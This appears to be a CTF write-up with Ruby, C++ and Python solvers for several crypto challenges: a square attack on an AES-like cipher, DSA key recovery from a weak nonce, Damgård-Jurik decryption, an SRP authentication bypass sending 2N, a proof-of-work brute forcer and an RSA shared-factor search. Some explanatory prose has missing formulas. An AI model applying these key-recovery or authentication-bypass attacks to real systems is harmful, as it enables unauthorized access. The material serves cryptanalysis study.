First I read the program source and I noticed below.
Therefore I wrote the program that visualizes the differences.
matrix = [
[1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
[0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0],
[1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0],
[0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1],
]
def show(a)
a.map{|a|a > 9 ? '*' : a == 0 ? ' ' :a.to_s}.join
end
16.times do |i|
a = Array.new(16,0)
a[i] = 1
puts show(a)
9.times do |r|
b = Array.new(16,0)
matrix.each.with_index do |row, i|
row.each.with_index do |type, j|
if type == 1
b[i] += a[j]
end
end
end
a = b
puts show(a)
end
puts
puts
end
$ ruby permutation.rb
1
1 11
1 21 23
1 176 36 3
1 *** 44*1 *
1 *** *5**51*
1 6*** 1*6*****
1 ****1**7*****7
28*******8******
****************
1
11 1
21 1 32
31 63 67 1
41 4** 1** *
51 *** ***51 *
611*** *****6*
71**** 7*******1
82****8*********
****************
1
1 1 1
11 22 3
361 73 1 6
**1 1 *4 *4 *
**1 *5*5 ** 1*
**16***61** **
**1****7***71 **
**2****8*****8**
****************
1
1 1 1
1 2 321
31 13 676
*1 1*4 *** 4
15*1 **5 *** *
***1 **661*** *
***171**7***** *
***2****8*****8*
****************
1
11 1
212 1 3
713 6 31 6
1*14 * **4*
**15 5* ****1
1**166** *****
7***17***1 *****
****28****8*****
****************
1
1 1 1
3 1 2 1 2
6 1 7 6313
4* 1 1* ***4
** 11** ***55
16** 1*** ***6*
**** 1***71***7*
****82********8*
****************
1
11 1
32 1 21
63 311 76
*4 1**1 ** 4
*5 ***1 5**1 *
*6 ***1 ****61*
*77***11*******
*8****2********8
****************
1
11 1
12 31 2
67 61 31 3
** 41*1 ** 4
** 1***1 ** 55
** ****16**1 *6
** ****1****71*7
**8****2*******8
****************
1
1 11
1 1 232
6 31 367 1
1* 4*1 4** *
5** **11 5** *
*** 1 **1*66** *
*** *7**1**7**1*
***8****2**8****
****************
1
1 11
32 12 1
367 113 6
*** *1441 *
1*** *15**5*
**** 6*16****1
1****7**17*****
8********28*****
****************
1
11 1
123 1 2
636 3 11 7
*4* * 1*41*
5*5* 1* 1****
**6*1** 1****6
17**7**** 1*****
****8****82*****
****************
1
111
2 1 123
7 16 136 3
14* ** 14* *
*** ** 5115* *
*** 61** **16* *
***1**** **17*7*
********8**28***
****************
1
1 11
3 2 12 1
16 37 13 6
4** ** 1 14 *
*** 1 ** *5 15 *
*** *6** ** 161*
***7****1** 17**
***********828**
****************
1
1 1 1
2 13 1 2
133 66 1 7
**4 ** 41 1 *
**5 51** ** 1 *
**61**** ** 16*
**7*****7**1 1**
**8*********82**
****************
1
1 1 1
2 3 21 1
13 6 7631
*4 4* ***11
1*5 5** ***1*
6**6 ***1 ***1*
***71 ****7***1*
***8*8********2*
****************
1
1 1 1
23 2 1 1
76 1 3 63 1
** *44 ** 11
** 5**5 1** *1
** ***6 ***61 *1
**1***7 *****7*1
******88*******2
****************
It means that I can use square-attack.
Main solver
require 'ctf'
SBOX = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
SBOXINV = SBOX.each.with_index.sort.map{|a,b| b}
M = [
[1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0],
[0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0],
[1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0],
[0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1],
]
MINV = [
[1,0,1,0,0,1,1,0,1,1,1,1,0,1,1,1],
[1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1],
[1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1],
[1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1],
[1,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1],
[0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0],
[1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0],
[1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1],
[0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0],
[0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0],
[1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1],
[1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1],
[1,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1],
[0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0],
[1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1],
[0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1],
]
first = true
def recur(data, kcandi)
if kcandi.size == data.size
r = [0] * 16
M.each.with_index do |row,i|
row.each.with_index do |type,j|
if type == 1
r[i] ^= kcandi[j]
end
end
end
return [r]
else
ret = []
d = data[kcandi.size]
d[d.index(-1)+1..-1].each do |t|
ret += recur(data, kcandi + [t])
end
return ret
end
end
def get_key_candi
data = File.read("result").lines.map{|a|a.split.map(&:to_i)}
recur(data, [])
end
TCPSocket.open(*ARGV) do |s|
s.echo = true
s.expect(" flag: ")
flag = s.gets
File.write("flag.dat", flag)
d = []
s.gets
16.times do |i|
dat = Array.new(16,0)
256.times do |j|
dat[i] = j
s.print dat.map{|a|'%02x' % a}.join + "\n"
s.flush
data, _, enc = s.gets.split
p [data,enc]
d << [data,enc]
end
256.times do
end
end
File.write("data", d.map{|a,b| "%s %s" % [a,b]}.join("\n"))
puts "DATA GET END"
system "./a.out < data > result"
end
def apply_matrix(data, matrix)
r = [0]*16
matrix.each.with_index do |row,i|
row.each.with_index do |type,j|
if type == 1
r[i] ^= data[j]
end
end
end
r
end
KEY_CONST = [0xde, 0xad, 0xbe, 0xee, 0xef, 0x01, 0x02, 0x03, 0xff, 0xfe, 0xfd, 0xfc, 0xaa, 0xbb, 0xcc, 0xdd]
def decrypt(flag, key)
data = flag
8.downto(0) do |r|
data = data.zip(key).map{|a,b|a^b}
data = apply_matrix(data, MINV)
data = data.map{|a|SBOXINV[a]}
key = key.zip([SBOX[r]] * 16).map{|a,b| a^b}
key = key.zip(KEY_CONST).map{|a,b| a^b}
key = apply_matrix(key, MINV)
end
data = data.zip(key).map{|a,b|a^b}
data
end
flag = File.read('flag.dat').strip
get_key_candi.each do |key_candi|
p decrypt([flag].pack("H*").unpack("C*"), key_candi).pack("C*")
end
Equation generator.
#include <iostream>
#include <vector>
#include <sstream>
using namespace std;
unsigned char SBOXINV[256] =
{
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D};
int MINV[16][16] = {
{1,0,1,0,0,1,1,0,1,1,1,1,0,1,1,1},
{1,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1},
{1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1},
{1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1},
{1,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1},
{0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0},
{1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0},
{1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1},
{0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0},
{0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0},
{1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1},
{1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1},
{1,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1},
{0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0},
{1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1},
{0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1},
};
int M[16][16] =
{
{1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1},
{0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0},
{0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0},
{0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1},
{0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0},
{0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0},
{1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0},
{1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0},
{0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0},
{0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0},
{0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1},
};
typedef unsigned char uchar;
int hex2int(char c) {
if('0' <= c && c <= '9') {
return c - '0';
} else if (c >= 'a' && c <= 'f') {
return c - 'a' + 10;
}else {
cerr << c << endl;
cerr << "ERROR" << endl;
}
}
vector<uchar> parse(string h) {
stringstream ss;
vector<uchar> ret;
unsigned int tmp;
for(int i = 0; i < h.size() / 2; i++) {
char a1 = h[i * 2 + 0];
char a2 = h[i * 2 + 1];
ret.push_back(hex2int(a1)* 16 + hex2int(a2));
}
return ret;
}
vector<vector<pair<vector<uchar>, vector<uchar>>>> in(16);
int solve(int idx) {
unsigned char key[16];
vector<int> tgt;
int ord = 0;
for(int i = 0; i < 16; i++) {
if(MINV[idx][i] == 1) {
tgt.push_back(i);
cout << i << " ";
}
}
cout << "-1" << " ";
for(int k = 0; k < 256; k++) {
unsigned char tmp2 = 0;
for(int i = 0; i < 256; i++) {
auto t = in[idx][i].second;
unsigned char tmp = 0;
for(int j = 0; j < tgt.size(); j++) {
tmp ^= t[tgt[j]];
}
tmp ^= k;
tmp2 ^= SBOXINV[tmp];
}
//printf("%d: %d=%d,%d=%d,%d=%d\n", tmp2, tgt[0], key[tgt[0]],tgt[1], key[tgt[1]],tgt[2], key[tgt[2]]);
if(tmp2 == 0) {
cout << k << " ";
}
}
cout << endl;
}
int main() {
for(int i = 0; i < 16; i++) {
for(int j = 0; j < 256; j++) {
string a,b;
cin >> a >> b;
in[i].emplace_back(parse(a), parse(b));
}
}
cerr << "DATA READ END" << endl;
for(int i = 0; i < 16; i++) {
solve(i);
}
}
The vulnerability is here. k
is weak.
def sign(msg, privkey, params):
p, q, g = params
while True:
k = getRandomRange(1, 1024) * pow(pubkey, privkey, p) % q
r = pow(g, k, p) % q
s = invert(k, q) * ( int(sha512(msg).hexdigest(), 16) + privkey * r) % q
if r*s != 0 :
break
return (int(r), int(s))
It assumed that
Divide them.
is bruteforcable because of .
We can get from the equation. We can check taht is correct when .(pubkey is calcualted from x)
// g++ solve.cpp -O3 -fopenmp -lgmp -lgmpxx -std=c++0x
#include <gmpxx.h>
#include <cassert>
#include <iostream>
#include <vector>
using namespace std;
const int S = 40;
vector<mpz_class> h(S), r(S), s(S);
// mpz_class p("7012029018398995176912137390884575043618232017042187077304594997813247159410215635706444870632210617730351292773090618012265860014299456603718267952559469488206498134010536144455018726129628682111599321235150067213412258809327709561022855699306160712656251481349108116290635898020209826290118858142299380951813980506786516726120245830901083494262220858247696571858914677762650380320167");
mpz_class p("19990043472646209601994864878783430356973105946195950979159251182377121897576105462833887676561348770957108482823143337701724893247634876231133001112659622843245186144815694000013210989382541478073551247763586093331215996260234193847013210807939190828438263706901950228866893621933887960930392778176297205331569773161563794018138992335091883899396920586572927792555042350138728812073331");
//mpz_class q ("169507055063332372751020080856259729938542834951434319075450609457456931007844219014641246299081375264942401053996043549687347094954162966870039544358018000698107915279251095113618184874634040631126769259205284421390306494773076266808763069517445886062016254515144807022594305897931231887300309319222963499167");
mpz_class q("91629484598379105033512409529628860433949558415030791938154302542936417405614272511539966765257644706180090102931421315331051281240103609205686784098900471134711603588304765157414857991689054932897002635007537146809343047302801243835776634361209432398032301656027511721047704054332653738042312201931970395721");
//mpz_class g("6103173640964507661706894012844096915505723660162743099979676959902952908906717305189626169638215800733337026484499868986148141352215698993270327266418451192093364446385295506475345981026012142612045237576867377837398075011175709064540958438633035561113515294380503233366036981390189285349198459110400563877346001656931822490778224258710723633423057128233408032484999727255419688647753");
mpz_class g("13622145302845273763875935516952425125176393702394844695432724066597834898277677169908234619701079219174550050531086255052810547971127992364106395259623997686454799745423099095097056224348731737512112568608406081844751809559052204755863089238863185755017905098158596830866362329243334855589147537151782745634416243769180780246626300677625340613515232605024658651528787608437872606367959");
mpz_class pow(mpz_class a, mpz_class b, mpz_class mod) {
mpz_class ret;
mpz_powm(ret.get_mpz_t(), a.get_mpz_t(), b.get_mpz_t(), mod.get_mpz_t());
return ret;
}
mpz_class invert(mpz_class a, mpz_class mod) {
mpz_class ret;
mpz_invert(ret.get_mpz_t(), a.get_mpz_t(),mod.get_mpz_t());
return ret;
}
bool found(int k, mpz_class privkey, mpz_class r) {
mpz_class kk = k * pow(g, privkey * privkey, p) % q;
mpz_class rr = pow(g, kk, p) % q;
return rr == r;
}
int main(int argc, char **argv) {
for(int i = 0; i < S; i++) {
cin >> h[i] >> r[i] >> s[i];
}
int first = atoi(argv[1]);
int second = atoi(argv[2]);
auto s1 = s[0];
auto s2 = s[1];
auto r1 = r[0];
auto r2 = r[1];
auto h1 = h[0];
auto h2 = h[1];
auto s2inv = invert(s2, q);
#pragma omp parallel for
for(int k1 = first; k1 <= second; k1++) {
auto k1inv = invert(k1, q);
cout << k1 << endl;
for(int k2 = 1; k2 <= 1024; k2++) {
mpz_class t = k1inv * k2 % q;
mpz_class C = s1 * invert(t * s2, q) % q;
mpz_class x = (q + h1 - C * h2 % q) * invert(C * r2 - r1, q) % q;
if(found(k1, x, r1)) {
cout << "FOUND" << endl;
cout << x << endl;
}
}
}
}
$ ./solve 1 1024 < signs-input
...
674
FOUND
13405794397027679851766302830116697563541261501776337220523988894696969876958854611815044419994727829060251052724309205554818698701101856332535587814503005528188299263565994987363921499149751791947144050037159117421558866574623020970278035747595145840878487054994406987881434333137518555261566073870075002181
...
input generator(creates signs-input
from signs
require 'digest/sha2'
require 'set'
require 'pp'
require 'ctf'
include CTF::Math
def hash(message)
Digest::SHA512.hexdigest(message).to_i(16)
end
def parse_signs
File.read('./signs.txt').lines.map do |line|
data, r, s = line.chomp[1..-2].split(',')
data = data[1..-2]
r = r.to_i
s = s.to_i
[data, r, s]
end
end
def gen_signs
File.read('./signs.txt').lines.map do |line|
data, r, s = line.chomp[1..-2].split(',')
data = data[1..-2]
r = r.to_i
s = s.to_i
[data, r, s]
puts '%d %d %d' % [hash(data), r, s]
end
end
gen_signs
The server tells us the encryption function and key generation function.
def get_keypair(kbit, u):
l = getRandomRange(kbit >> 4, kbit)
p = long(gmpy.next_prime(2 << l))
q = long(getPrime(kbit - l - 1))
n = p * q
d = (p-1)*(q-1) / GCD(p-1, q-1)
r = getRandomRange(1, n-1)
while True:
t = getRandomRange(1, n-1)
if GCD(t, n) == 1:
break
g = pow(n+1, t, n**(u+1)) * r % n**(u+1)
pubkey = (n, g, u)
privkey = (n, d)
return pubkey, privkey
def encrypt(msg, pubkey):
n, g, u = pubkey
u += 1
r = getRandomRange(1, n**u - 1)
enc = pow(g, msg, n**u) * pow(r, n**u, n**u) % n**u
return enc
This is almost Damgård–Jurik_cryptosystem.
So I wrote the decrypt program with wikipedia.
import gmpy
from Crypto.Util.number import *
def decrypt_part(m, u, n):
cur = 0
for i in range(1, u + 1):
t1 = m % (n ** (i + 1))
t1 = (t1 - 1) / n
t2 = cur
for j in range(2, i + 1):
cur -= 1
t2 = (t2 * cur) % (n ** i)
t3 = 1
for k in range(0, j):
t3 *= k + 1
t3 = t2 * inverse(t3, n ** i) % (n ** i)
t3 = t3 * (n ** (j - 1))
t3 %= n ** i
t1 = (t1 - t3) % (n ** i)
cur = t1
return cur
def decrypt(c, privkey, pubkey):
n, d = privkey
n, g, u = pubkey
# calulate r, t
r = g % n
t = (g * inverse(r, n ** (u + 1)) - 1) / n % n
# calculate r ^ d = (n + 1) ^ k
rd = pow(r, d, n ** (u + 1))
assert (rd - 1) % n == 0
k = decrypt_part(rd, u, n)
assert rd == pow(n + 1, k, n ** (u + 1))
m = pow(c, d, n ** (u + 1))
cur = decrypt_part(m, u, n)
return cur * inverse(t * d + k, n) % (n)
(n, g, u) = (10452239394054422206480825860664105152376086544365480449026779713737129458368184734425697335929925280760914026195823114457657948861864987722505400748365351L, 634636095542879898310807215086588887336268436220987689887282615844580743832923437558714441455665632371623122618768330262401677266558841983374928917040170273747536747741255645201254845324050569102682769538018070095091689890852960606799955971765975025860272848049698122908514550930941026038101032006916270022131029186563349352511170896866175784528454835471543091261146808058357397102594128113948415918001451706825616887742679720127131553233144377447514862535660702006224703250384253757582443706688756835083685581475020343243301112264411294550585904224409065144568186927499266597861170800026594561310856357939597217405638743482462144156433233926697551501838245537165285729460779766746236372731528657524341389350868499271724528934281274689280940252068596972279660236131166749482092504236440386288848947853429780114963212676082927468760912315684475808644162917723889402142791293498978694932926315651048247503355279874938916353449L, 5)
c = 129464779577730518385246645077822096756224203111979780809931984689281312786281483505097776832314054139314166621948634036760386390378122826063130122395224755203778613885336996018435744611204936952270152054519582431575533877594488844447494230408857577555307150130085220328314295351977846457092604642404724141949131971977918590277539706949527069918352961931008506678071098545836596478974429714499765647829583662655160374714697977728977048015661890731730292082908665770180652307193018508426610968212983054972508513266365012176287101952923378361372385669419462776701446392712560456977342509712178478794145481023084927653964122377545502071047254424722337946088235528556931601539949434749351638755818280102114951418275592154623813799675032174647678933602323299377954955056118788644806843033903952355845826031829485809037780660240243240880971482286045274365351610975490726733807335377425616023831088859252574711506841277679812607961
p = 0
q = 0
for i in range(1, 513):
if n % gmpy.next_prime(1 << i) == 0:
p = gmpy.next_prime(1 << i)
q = n / p
d = (p-1)*(q-1) / GCD(p-1, q-1)
print decrypt(c, (n, d), (n, g, u))
$ python decrypt.py
8316878930812149141839490075232000210773671697870752623724258323158053173169664563001702525
$ irb
irb(main):001:0> 8316878930812149141839490075232000210773671697870752623724258323158053173169664563001702525
=> 8316878930812149141839490075232000210773671697870752623724258323158053173169664563001702525 (0x415349537b37633632663132653765366630386639663533363565343535383864333464387d) "ASIS{7c62f12e7e6f08f9f5365e45588d34d8}"
The vulnerability is here.
71 try:
72 email, A = ans.split(',')
73 A = int(A)
74 assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n')
We can send 2N as A.
require 'ctf'
require 'base64'
require 'digest/sha2'
def hash(*args)
Digest::SHA256.hexdigest(args.join(':')).to_i(16)
end
TCPSocket.open(*ARGV) do |s|
s.echo = true
b = s.expect(/"(.+)"\)/)[1]
sha256 = s.expect(/"(.+)"/)[1]
s.print `echo #{b} #{sha256} | ./a.out`.split[0]
s.gets
s.gets
s.gets
s.gets
s.gets
n, g, k = s.gets.split('=')[2].gsub(/[\(\)L\s]/, '').split(',').map(&:to_i)
p [n, g, k]
s.print "admin@asis-ctf.ir, #{2 * n}\n"
s.gets
salt, b = s.gets.split('=', 2)[1].gsub(/[\(\)\s]/, '').split(',')
p [salt, b]
s.flush
s.print hash(0).to_s + "\n"
s.flush
p hash(n) ^ hash(g)
s.print hash(hash(n) ^ hash(g), hash('admin@asis-ctf.ir'), Base64.decode64(salt), 2 * n, b, hash(0)).to_s + "\n"
s.interactive!
end
PoW Solver
#include <openssl/sha.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
unsigned char result[300];
unsigned char sha512[400];
unsigned char sha256[400];
unsigned char temp[256 / 8];
const char chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int to_i(unsigned char t) {
if('0' <= t && t <= '9')
return t - '0';
else if('a' <= t && t <= 'f')
return t - 'a' + 10;
else
return 0;
}
int main() {
scanf("%s", result + 4);
scanf("%s", sha512);
for(int i = 0; i < 64; i += 2) {
temp[i/2] = (16 * to_i(sha512[i])) + (to_i(sha512[i + 1]));
}
int ll = strlen(chars);
for(int i = 0; i < ll; i++) {
result[0] = chars[i];
for(int j = 0; j < ll; j++) {
result[1] = chars[j];
for(int k = 0; k < ll; k++) {
result[2] = chars[k];
for(int l = 0; l < ll; l++) {
result[3] = chars[l];
SHA512(result, 26, sha256);
if(memcmp(sha256, temp, 8) == 0) {
result[4] = 0;
puts((const char*)result);
exit(0);
}
}
}
}
}
puts("NA");
}
I found that there are N_1, N_2 whose gcd is larger than 1.
n2 = 1
ns = []
while gets
n1 = $_.scan(/\d+/)[0].to_i
ns << n1
p n1
n2 *= n1
end
ns.each do |n1|
ns.each do |n2|
if n1 != n2
if n1.gcd(n2) != 1
puts "FOUND"
puts n1
puts n2
end
end
end
end
$ ruby check.rb < pubkey_enc.txt
...
FOUND
145027482789690990262517750951541446221552255560520228703877313431483316741269117323705124775232890171059397344533125793378274261538984168613648947111600523237940505464340771538677343847823054950559536582762094561232606689017946799356626447164268129816358964385649508992872978250974645830516100018108294421843
116402452666072936208815007139304987216714163049811234781351426326924131246364364574334524817901508281619972460090415001382062843182592379805224835760303284979302327894596365679847657301006500492449662907010259006597668640036494093690719721777196202708412690708189425416261338322878726801565837339906926442199
